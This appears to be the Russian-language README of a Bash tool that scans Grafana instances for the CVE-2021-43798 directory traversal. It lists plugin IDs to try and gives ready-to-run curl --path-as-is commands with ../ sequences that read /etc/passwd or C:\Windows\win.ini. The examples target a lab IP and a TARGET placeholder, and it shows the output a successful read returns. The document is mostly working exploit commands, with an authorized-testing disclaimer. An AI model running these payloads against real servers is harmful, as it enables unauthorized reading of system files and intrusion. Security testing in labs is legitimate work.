Сканер на основе Bash, который перечисляет идентификаторы плагинов Grafana и проверяет наличие обхода каталогов CVE-2021-43798, пытаясь прочитать /etc/passwd или win.ini на уязвимых экземплярах.
Небольшой инструмент на Bash для проверки экземпляров Grafana на наличие CVE-2021-43798 — уязвимости обхода каталога, затрагивающей уязвимые версии Grafana.
Инструмент перебирает идентификаторы плагинов Grafana и использует curl --path-as-is для проверки того, может ли обход каталога обеспечить доступ к известному файлу.
Только для авторизованного тестирования безопасности и лабораторных сред.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: Проверяет доступ к C:\Windows\win.inigrafana-linux.sh: Проверяет доступ к /etc/passwdplugins.txt: Словарь, содержащий идентификаторы плагинов Grafana, используемые при переборе.curlПроверьте, что curl установлен:
curl --version
Сделайте скрипты исполняемыми:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798 — это уязвимость обхода каталога в Grafana.
Уязвимая конечная точка основана на:
/public/plugins/<plugin-id>/
Уязвимость может позволить обход за пределы предполагаемого каталога плагинов.
Важный момент при тестировании с помощью curl:
--path-as-is
Без этой опции клиент может нормализовать путь перед отправкой на сервер.
Сканер для Windows пытается получить:
C:\Windows\win.ini
В HTTP-запросе путь представляется как:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Пример:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
Вы можете вручную проверить плагин с помощью:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Для лабораторной цели:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
Успешный ответ должен содержать содержимое Windows INI-файла.
Сканер для Linux пытается получить:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
Общий пример:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Для лабораторной цели:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Успешный ответ для Linux должен содержать записи, подобные:
root:x:0:0:root:/root:/bin/bash
Оба сканера используют одни и те же базовые аргументы:
u, --url : базовый URL Grafanaw, --wordlist : словарь плагиновf, --file : файл для проверкиh, --help : показать справку